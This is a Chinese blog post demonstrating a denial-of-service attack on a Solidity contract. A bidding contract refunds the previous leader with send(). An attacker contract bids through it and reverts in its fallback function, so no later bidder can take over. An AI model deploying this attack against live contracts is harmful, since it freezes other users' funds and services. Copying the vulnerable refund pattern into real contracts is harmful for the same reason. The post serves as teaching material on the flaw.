当前位置:网站首页>solidity合约DOS攻击
solidity合约DOS攻击
2022-04-23 05:31:00 【龙_破风】
pragma solidity ^0.5.1;
//业务逻辑,谁给的钱多我就记录谁,并且把上个人的钱退回去
contract longTest2{
address payable add;
uint256 public code;
function setAdd()public payable returns(uint256){
require(msg.value > code);
require(add.send(code));
code = msg.value;
add = msg.sender;
return code;
}
}
pragma solidity ^0.5.1;
interface Aunt{
function setAdd()external payable;
}
//攻击合约
contract longTest{
Aunt auntPas = Aunt(0xB302F922B24420f3A3048ddDC4E2761CE37Ea098);
function set()public payable {
auntPas.setAdd.value(msg.value)();
}
//写个回滚函数,我给出去一次钱一后后面给的钱多的人无法调用,意思就是我钱已经给了,你退回来我不要
function() external payable{
revert();
}
}
版权声明
本文为[龙_破风]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_38935605/article/details/124300721
边栏推荐
- Multi process model in egg -- egg document Porter
- d.ts---更详细的知识还是需要看官网的介绍(声明文件章节)
- Intel SGX preliminary learning and understanding notes (continuously updated)
- !!!!!!!!!!!!!!!!!!
- X86 assembly syntax: at & T and Intel
- Some pits used by uni
- QT displays the specified position and size of the picture
- Executable program execution process
- World and personal development
- Uniapp hot update with progress bar
猜你喜欢

Branch and loop statements

弘玑|数字化时代下,HR如何进行自我变革和组织变革?

Use of uniapp native plug-ins

Three methods of list rendering

On the use of constant pointer and pointer constant -- exercise (record)

Uncle wolf is looking for a translator -- Plato -- ongoing translation

How to set the initial value of El input number to null

QSS, qdateedit, qcalendarwidget custom settings

(十一)vscode代码格式化配置

selenium預先加載cookie的必要性
随机推荐
Create process memory management copy_ Mm - processes and threads (IX)
JS time format conversion
C, class library
catkin_ What did package do
Uniapp hot update with progress bar
五一劳动节期间什么理财产品会有收益?
Necessity of selenium preloading cookies
Watch depth monitoring mode
Introduction to qqueue
uni使用的一些坑
C# ,类库
STD:: String implements split
可执行程序执行流程
Cross platform packaging of QT packaging program
分支与循环语句
Blender programmed terrain production
Various situations of data / component binding
!!!!!!!!!!!!!!!!!!
点击添加按钮--出现一个框框(类似于添加学习经历-本科-研究生)
JVM memory and memory overflow exceptions (personal summary)